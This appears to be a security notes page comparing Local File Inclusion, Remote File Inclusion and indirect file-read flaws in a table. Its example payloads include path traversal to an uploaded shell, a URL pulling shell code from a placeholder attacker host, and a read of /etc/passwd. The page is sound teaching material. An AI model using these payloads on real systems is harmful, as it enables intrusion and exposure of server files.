> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/web-appsec/lfi-rfi-and-rbt-file-read.md).

# LFI, RFI, and RBT File Read

| Criteria             | LFI (Local File Inclusion)                             | RFI (Remote File Inclusion)                                     | RBT File Read (Read By Trick)                                   |
| -------------------- | ------------------------------------------------------ | --------------------------------------------------------------- | --------------------------------------------------------------- |
| Description          | Includes and executes a **local** file from the server | Includes and executes a **remote** file via a URL or protocol   | Reads a file’s **contents** using indirect or unintended tricks |
| File Location        | File must exist on the target server                   | File is hosted on the attacker’s server                         | File exists on the target server                                |
| Code Execution       | Possible, if file is parsed (e.g., uploaded PHP shell) | Yes, attacker’s code is executed remotely                       | No code execution, only file content read                       |
| Technique Type       | Inclusion via path (e.g., `include($_GET['file'])`)    | Inclusion via external link (e.g., `include($_GET['url'])`)     | Abuse of features like `file_get_contents`, previews, etc.      |
| Requirement          | Attacker needs a file on server or valid file path     | Attacker hosts a malicious file for the server to fetch and run | Server has an exposed read mechanism with no strict validation  |
| Exploitation Example | `?page=../../../../var/www/html/uploads/shell.php`     | `?page=http://attacker.com/shell.txt`                           | `?file=../../../../etc/passwd`                                  |
| Primary Goal         | Inclusion and potential execution                      | Remote code execution                                           | Disclosure of sensitive file content                            |
